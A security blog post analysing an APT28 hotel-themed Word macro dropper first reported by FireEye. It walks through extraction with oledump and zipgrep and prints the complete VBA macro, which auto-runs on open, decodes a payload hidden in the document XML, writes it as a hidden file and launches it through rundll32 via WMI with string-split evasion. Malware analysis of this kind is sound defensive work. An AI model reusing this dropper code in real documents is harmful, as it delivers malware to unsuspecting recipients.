« Back to home

Analysis of APT28 hospitality malware

This week, FireEye published a writeup of yet another APT28 campaign, this time targeting the hospitality sector:

Exposing Russian hackers #APT28 and their targeting of hotels & travelers. Also first targeted use of ETERNALBLUE.https://t.co/iiHh71UQeFpic.twitter.com/SIMeDd7MTM
— Nick Carr (@ItsReallyNick) August 11, 2017

I’m always interested to see the latest APT group techniques, so I decided to review the malware to see how the dropper worked (and see if there were any goodies I could add to my toolkit).

The dropper was shown to be a typical Word .docm file (MD5: 9b10685b774a783eabfecdb6119a8aa3) and opening the document we see a common style of phishing lure:

The security dialog indicates that this is likely a VBA based attack, so we turn to Didier Stevens’ oledump (or Words Visual Basic editor if you prefer) to view the contents.

Listing the embedded objects, we can see the macro for us to analyse within VBA/ThisDocument:

We extract the VBA source using the following command (The full contents of the extracted VBA can be found as a Gist at the end of this post):

oledump.py -a ./Hotel_Reservation_Form.docx -s A3 -v

Let’s pick up on the interesting parts so we can understand what is going on:

Sub AutoOpen()
    Execute
End Sub

Here we can see that it is the Execute function called on document launch. Reviewing this function, we see VBA interacting with the document XML:

...
'extract and decode encoded file
xml = ActiveDocument.WordOpenXML
Set xmlParser = CreateObject("Msxml2.DOMDocument")
If Not xmlParser.LoadXML(xml) Then
    Exit Sub
End If
Set currNode = xmlParser.DocumentElement
Set selected = currNode.SelectNodes("//HLinks" & "/vt:" & "vector" & "/vt:" & "variant" & "/vt:" & "lpwstr")
If 2 > selected.Length Then
    Exit Sub
End If
base64 = selected(1).Text
bin = DecodeBase64(base64)
...

It turns out that this function is taking the XML of the Word document, and extracting a value using the XPath //HLinks/vt:vector/vt:variant/vt:lpwstr. Once extracted, this value is then Base64 decoded… very nice!

Let’s hunt for the Base64 encoded payload that is being dropped. As a .docm is basically a ZIP container of XML files, we can use zipgrep to find the file containing the HLinks tag with the following command:

zipgrep -i HLink ./Hotel\_Reservation\_Form.docx

Immediately we see the blob of Base64 data that we are after, and we can extract this with the following command:

unzip Hotel_Reservation_Form.docx; xpath ./docProps/app.xml '//HLinks/vt:vector/vt:variant/vt:lpwstr' > malware.bin

Cleaned up, we Base64 decode to recover the dropped payload:

cat malware.bin | base64 -D > malware.exe.bin

And using the file output, we see that we have a PE32 executable:

./malware.exe.bin: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Now that we have the dropped payload, we can search for the signature on VirusTotal. We immediately see one indicator of why this was attributed to APT28, with indicators showing “Sofacy” as the family of malware:

To finish up our review, let’s have a look at how the dropped payload is executed. First we see that the decoded executable is written to %APPDATA%\user.dat, and the “hidden” attribute is set on the file once written.

'save decoded file
Path = Environ("APPDATA") + "\" + "user" + ".dat"
FileNum = FreeFile
If Dir(Path, vbHidden) <> "" Then
    Exit Sub
End If
Open Path For Binary Access Write As #FileNum
Put #FileNum, 1, bin
Close #FileNum
SetAttr Path, vbHidden

Finally, we see how the payload is executed:

'execute saved file with WMI
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "run" + "dll" + "32" + ".exe " + Path + ", " + "#1", Null, objConfig, intProcessID

This VBA is using WMI’s Win32_Processtechnique. This appears to be for AV evasion, although I’m interested in why you wouldn’t just use Powershell to Base64 decode the payload in memory and avoid writing the dropped file to disk?

So there we have it, another example of Word documents being used by APT groups to deliver a payload, and a nice example of hiding EXE payloads within a HLinks section of a Word document.

Once again, thanks to the FireEye team Lindsay Smith and Ben Read for their awesome writeup.

I’m always on the lookout for further attack vectors or malware samples from APT groups. If you are willing to share, feel free to reach out via the usual methods.

And I’ll leave you with the extracted VBA to admire :)

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Execute
End Sub
Private Function DecodeBase64(base64) As Byte()
Const decodeTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
If 0 <> Len(base64) Mod 4 Then
Exit Function
End If
outputLen = (Len(base64) / 4) * 3
If "=" = Mid(base64, Len(base64), 1) Then
outputLen = outputLen - 1
End If
If "=" = Mid(base64, Len(base64) - 1, 1) Then
outputLen = outputLen - 1
End If
Dim decodedBytes() As Byte
ReDim decodedBytes(outputLen - 1)
outputIndex = 0 [43/1854]
For quartet = 1 To Len(base64) Step 4
groupBase64Number = 0
Const base = 64
realBytesInThisGroup = 3
For i = 0 To 3
inputChar = Mid(base64, quartet + i, 1)
indexInTable = 0
If "=" = inputChar Then
realBytesInThisGroup = realBytesInThisGroup - 1
Else
indexInTable = InStr(1, decodeTable, inputChar, vbBinaryCompare) - 1
End If
If -1 = indexInTable Then
Exit Function
End If
groupBase64Number = (groupBase64Number * base) + indexInTable
Next
groupBase64Number = Hex(groupBase64Number)
'add leading zeroes, lengt of hex = 6:
groupBase64Number = String(6 - Len(groupBase64Number), "0") & groupBase64Number
'split hex number into 3 groups, 2 hex characters each:
decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 1, 2))
outputIndex = outputIndex + 1
If realBytesInThisGroup > 1 Then
decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 3, 2))
outputIndex = outputIndex + 1
If realBytesInThisGroup > 2 Then
decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 5, 2))
outputIndex = outputIndex + 1
End If
End If
Next
DecodeBase64 = decodedBytes
End Function
Private Sub Execute()
Dim Path As String
Dim FileNum As Long
Dim xml() As Byte
Dim bin() As Byte
Const HIDDEN_WINDOW = 0
strComputer = "."
'extract and decode encoded file
xml = ActiveDocument.WordOpenXML
Set xmlParser = CreateObject("Msxml2.DOMDocument")
If Not xmlParser.LoadXML(xml) Then
Exit Sub
End If
Set currNode = xmlParser.DocumentElement
Set selected = currNode.SelectNodes("//HLinks" & "/vt:" & "vector" & "/vt:" & "variant" & "/vt:" & "lpwstr")
If 2 > selected.Length Then
Exit Sub
End If
base64 = selected(1).Text
bin = DecodeBase64(base64)
'save decoded file
Path = Environ("APPDATA") + "\" + "user" + ".dat"
FileNum = FreeFile
If Dir(Path, vbHidden) <> "" Then
Exit Sub
End If
Open Path For Binary Access Write As #FileNum
Put #FileNum, 1, bin
Close #FileNum
SetAttr Path, vbHidden
'execute saved file with WMI
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "run" + "dll" + "32" + ".exe " + Path + ", " + "#1", Null, objConfig, intProcessID
End Sub